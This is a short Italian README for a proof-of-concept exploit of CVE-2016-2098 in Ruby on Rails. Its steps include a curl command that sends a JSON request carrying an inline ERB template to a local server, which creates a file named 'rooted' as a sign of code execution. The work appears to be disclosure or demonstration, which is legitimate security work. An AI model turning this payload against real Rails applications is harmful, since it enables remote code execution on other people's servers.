dh-CVE_2016_2098

Proof of concept per https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

Sfruttamento:

1. Dovresti avviare il server Rails solo in un modo che sia certo non ti esporrà a essere sfruttato
2. Esegui rails s
3. Esegui il seguente comando curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. Verifica che il file "rooted" ora esista nella directory del progetto